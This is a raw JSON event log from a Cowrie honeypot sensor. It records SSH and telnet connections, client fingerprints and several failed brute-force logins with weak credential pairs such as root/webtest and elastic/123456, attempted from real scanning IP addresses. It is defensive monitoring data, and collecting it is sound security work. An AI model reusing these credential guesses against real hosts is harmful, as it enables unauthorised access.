{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f438c070ab8","protocol":"telnet","message":"New connection: 62.210.97.77:33386 (10.17.0.5:23) [session: 0f438c070ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:37.019030Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"df08cfa41d48","protocol":"telnet","message":"New connection: 62.210.97.77:33390 (10.17.0.5:23) [session: df08cfa41d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:37.531185Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.106.29.184","src_port":39156,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a6870e3e55e","protocol":"telnet","message":"New connection: 185.106.29.184:39156 (10.17.0.5:23) [session: 5a6870e3e55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:37.770285Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":37722,"dst_ip":"10.17.0.5","dst_port":22,"session":"2735f386ea19","protocol":"ssh","message":"New connection: 176.65.132.254:37722 (10.17.0.5:22) [session: 2735f386ea19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:38.156349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:38.161050Z","src_ip":"176.65.132.254","session":"2735f386ea19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:38.246922Z","src_ip":"176.65.132.254","session":"2735f386ea19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":52570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d184e8d71fc","protocol":"telnet","message":"New connection: 134.209.8.29:52570 (159.203.135.109:23) [session: 6d184e8d71fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:38.285001Z"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:38.681282Z","src_ip":"176.65.132.254","session":"2735f386ea19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:39.765398Z","src_ip":"176.65.132.254","session":"2735f386ea19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57354,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6cf4f7d0da","protocol":"telnet","message":"New connection: 134.209.8.29:57354 (159.203.135.109:23) [session: 3c6cf4f7d0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:41.417774Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53446,"dst_ip":"10.17.0.5","dst_port":23,"session":"208451d891e4","protocol":"telnet","message":"New connection: 62.210.97.77:53446 (10.17.0.5:23) [session: 208451d891e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.130745Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53462,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e3fa6405954","protocol":"telnet","message":"New connection: 62.210.97.77:53462 (10.17.0.5:23) [session: 2e3fa6405954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.181070Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53472,"dst_ip":"10.17.0.5","dst_port":23,"session":"03797c60e4c1","protocol":"telnet","message":"New connection: 62.210.97.77:53472 (10.17.0.5:23) [session: 03797c60e4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.222894Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a739cea0fcba","protocol":"telnet","message":"New connection: 62.210.97.77:53478 (10.17.0.5:23) [session: a739cea0fcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.247309Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53482,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcce69f4c0d","protocol":"telnet","message":"New connection: 62.210.97.77:53482 (10.17.0.5:23) [session: 5fcce69f4c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.422841Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53496,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ab61d42a37","protocol":"telnet","message":"New connection: 62.210.97.77:53496 (10.17.0.5:23) [session: 27ab61d42a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.460770Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41582,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ddeb4839bd","protocol":"ssh","message":"New connection: 176.65.132.254:41582 (10.17.0.5:22) [session: f4ddeb4839bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.620178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.625150Z","src_ip":"176.65.132.254","session":"f4ddeb4839bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.707339Z","src_ip":"176.65.132.254","session":"f4ddeb4839bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:42.954238Z","src_ip":"176.65.132.254","session":"f4ddeb4839bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.766735315322876,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.086250Z","src_ip":"65.60.27.33","session":"df783836d593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"92aaacbece4d","protocol":"telnet","message":"New connection: 134.209.8.29:57360 (159.203.135.109:23) [session: 92aaacbece4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.474071Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33689,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0e94cd0e6b5","protocol":"ssh","message":"New connection: 190.129.122.12:33689 (10.17.0.5:22) [session: e0e94cd0e6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.614051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.618893Z","src_ip":"190.129.122.12","session":"e0e94cd0e6b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.785026Z","src_ip":"190.129.122.12","session":"e0e94cd0e6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57098,"dst_ip":"10.17.0.5","dst_port":23,"session":"054fd51a7d31","protocol":"telnet","message":"New connection: 38.54.119.93:57098 (10.17.0.5:23) [session: 054fd51a7d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:43.867640Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:44.170122Z","src_ip":"176.65.132.254","session":"f4ddeb4839bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:44.483701Z","src_ip":"190.129.122.12","session":"e0e94cd0e6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":51474,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d771f9e6b06","protocol":"ssh","message":"New connection: 103.189.235.176:51474 (159.203.135.109:22) [session: 0d771f9e6b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:44.997518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:45.004912Z","src_ip":"103.189.235.176","session":"0d771f9e6b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:45.258217Z","src_ip":"103.189.235.176","session":"0d771f9e6b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53504,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ffdcfdadd47","protocol":"telnet","message":"New connection: 62.210.97.77:53504 (10.17.0.5:23) [session: 7ffdcfdadd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:45.418920Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.106.29.184","src_port":41644,"dst_ip":"10.17.0.5","dst_port":23,"session":"958194a5855e","protocol":"telnet","message":"New connection: 185.106.29.184:41644 (10.17.0.5:23) [session: 958194a5855e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:45.476429Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:45.652254Z","src_ip":"190.129.122.12","session":"e0e94cd0e6b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webtest","message":"login attempt [root/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:46.519690Z","src_ip":"103.189.235.176","session":"0d771f9e6b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41590,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66e62a7b236","protocol":"ssh","message":"New connection: 176.65.132.254:41590 (10.17.0.5:22) [session: c66e62a7b236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:46.574097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:46.579444Z","src_ip":"176.65.132.254","session":"c66e62a7b236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:46.661790Z","src_ip":"176.65.132.254","session":"c66e62a7b236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:46.943759Z","src_ip":"176.65.132.254","session":"c66e62a7b236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.48819589614868,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:47.720595Z","src_ip":"62.210.97.77","session":"f1aeb426d329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:47.773057Z","src_ip":"103.189.235.176","session":"0d771f9e6b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:48.038785Z","src_ip":"176.65.132.254","session":"c66e62a7b236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53514,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb14e476621e","protocol":"telnet","message":"New connection: 62.210.97.77:53514 (10.17.0.5:23) [session: bb14e476621e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:48.387424Z"}
{"eventid":"cowrie.session.closed","duration":35.324841022491455,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:48.548925Z","src_ip":"62.210.97.77","session":"b8aaddd2ac32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63704800605774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:49.007136Z","src_ip":"62.210.97.77","session":"67dfcd178049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.193068027496338,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:49.477923Z","src_ip":"134.209.8.29","session":"6d184e8d71fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49626,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c80f0b20cc5","protocol":"telnet","message":"New connection: 165.232.131.181:49626 (10.17.0.5:23) [session: 1c80f0b20cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:49.591158Z"}
{"eventid":"cowrie.session.closed","duration":6.146257638931274,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:49.620224Z","src_ip":"134.209.8.29","session":"92aaacbece4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41596,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5fcce680cbe","protocol":"ssh","message":"New connection: 176.65.132.254:41596 (10.17.0.5:22) [session: e5fcce680cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:50.842627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:50.847907Z","src_ip":"176.65.132.254","session":"e5fcce680cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:50.937156Z","src_ip":"176.65.132.254","session":"e5fcce680cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:11:51.241157Z","src_ip":"176.65.132.254","session":"e5fcce680cbe","protocol":"ssh"}
